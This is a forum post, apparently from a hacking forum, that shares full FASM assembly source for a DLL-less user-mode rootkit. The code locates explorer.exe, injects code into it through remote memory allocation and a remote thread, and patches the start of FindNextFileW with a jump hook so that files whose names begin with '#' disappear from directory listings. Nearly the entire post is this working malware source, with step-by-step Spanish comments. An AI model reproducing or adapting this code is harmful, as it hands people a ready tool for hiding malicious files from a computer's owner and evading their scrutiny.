Jump to content
Nytro

[FASM] User Mode Rootkit [FindNextFileW]

Recommended Posts

Posted
;-------------------------------------------------------------------------------------------------
; RootKit por Hacker_Zero & YST
; RootKit sin dll que Hookea FindNextFileW en explorer ocultando los archivos que
;comiencen por '#'
;-------------------------------------------------------------------------------------------------

include 'C:\fasm\include\win32ax.inc'

.code
proc start
locals
ProcessName db "explorer.exe",0
endl

stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
cmp eax,-1
jne salir

invoke MessageBoxA,0,"No se encontró el proceso!",0,0

salir:
invoke ExitProcess,0
endp

proc Inyectar,ProcessName,Tamaño,Funcion,Datos
locals
struct PROCESSENTRY32
dwSize dd ?
cntUsage dd ?
th32ProcessID dd ?
th32DefaultHeapID dd ?
th32ModuleID dd ?
cntThreads dd ?
th32ParentProcessID dd ?
pcPriClassBase dd ?
dwFlags dd ?
szExeFile rb MAX_PATH
ends

pInfo PROCESSENTRY32 ?
Handle dd ?
PID dd ?
DirFuncion dd ?
hProcess dd ?
endl

pushad

;Obtenemos el PID del proceso
invoke CreateToolhelp32Snapshot,0x00000002,0
mov [Handle],eax

mov eax,sizeof.PROCESSENTRY32
mov [pInfo.dwSize], eax

BuclePid:
invoke Process32Next,[Handle],addr pInfo
cmp eax,0
je FinProcBuclePID ;No hay más procesos
invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
cmp eax,0
jne BuclePid
jmp FinBuclePid

FinProcBuclePID:
invoke CloseHandle,[Handle]
popad
mov eax,-1
ret

FinBuclePid:
invoke CloseHandle,[Handle]
push [pInfo.th32ProcessID]
pop [PID]

;Lazamos el proceso
invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
mov [hProcess],eax

;Reservamos espacio en el proceso
invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [DirFuncion],eax

;Escribimos los datos en memoria
invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0

;Creamos el hilo
invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
popad
mov eax,1
ret
endp

proc FuncionInyectada,pGetProcAddress

locals
BaseKernel32 dd ?
OriginalProtection dd ?
endl

;Leemos el PEB para obtener la base de KERNEL32.DLL
xor eax, eax
add eax,[fs:eax+30h]
mov eax, [eax + 0ch]
mov esi, [eax + 1ch]
lodsd
mov eax, [eax + 08h]
mov [BaseKernel32],eax

;Obtenemos la dirección de FindNextFileA
stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
mov ebx,eax

stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection

;Calculamos el delta offset
call delta
delta:
pop edx
sub edx,delta ;edx=delta

;Lo guardamos en la pila
push edx

;Guardamos la dirección de FindNextFileW en la variable dirFindNextFileW
add edx,dirFindNextFileW
mov dword[edx],ebx

pop edx

mov ecx,edx
add ecx,ApiOriginal
mov al,byte[ebx]
mov byte[ecx],al
mov byte[ebx],0xE9 ;0xE9=jmp
inc ebx
inc ecx

mov eax,dword[ebx]
mov dword[ecx],eax
mov eax,FuncionHook
add eax,edx
sub eax,ebx
sub eax,4
mov dword[ebx],eax ;la dirección a la que saltará

add ebx,4
add ecx,4

mov ax,word[ebx]
mov word[ecx],ax

mov word[ebx],0x9090

ret ;Terminamos, ya hemos modificado el principio de la api,
;cuando el programa llame a FindNextFileW, saltará a FuncionHook

;--------------------------------------------------------------------------------------------------------------------------------------------

;Contiene los 7 primeros bytes de la Api FindNextFileW y una rutina para saltar a MessageBox+7
ApiOriginal:
;edx=delta
;7 nops que cambiaremos en tiempo de ejecución por los 7 primeros bytes de FindNextFileW
nop
nop
nop
nop
nop
nop
nop

add edx,dirFindNextFileW ;Obtenemos la dirección de FindNextFileW leyendo
mov eax,dword[edx] ;la variable dirFindNextFileW y la guardamos en eax
add eax,7 ;Nos desplazamos 7 bytes
jmp eax ;Saltamos a FindNextFileW+7

;--------------------------------------------------------------------------------------------------------------------------------------------

;Función a la que salta el programa cuando se llama a la API hookeada
proc FuncionHook,hFindFile,lpFindFileData
Volver:
;Obtenemos el delta offset
call delta2
delta2:
pop edx
sub edx,delta2

;Llamamos a nuestro buffer
push [lpFindFileData]
push [hFindFile]
mov ecx,edx
add ecx,ApiOriginal
call ecx
cmp eax,0
je Retornar

mov ebx,[lpFindFileData]
add ebx,44
cmp byte[ebx],'#'
jne Retornar

jmp Volver

Retornar:
ret
endp
;-------------------------------------------------------------------------------------------------------------------------------------------

dirFindNextFileW dd ?
endp

FINFuncion:
.end start

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...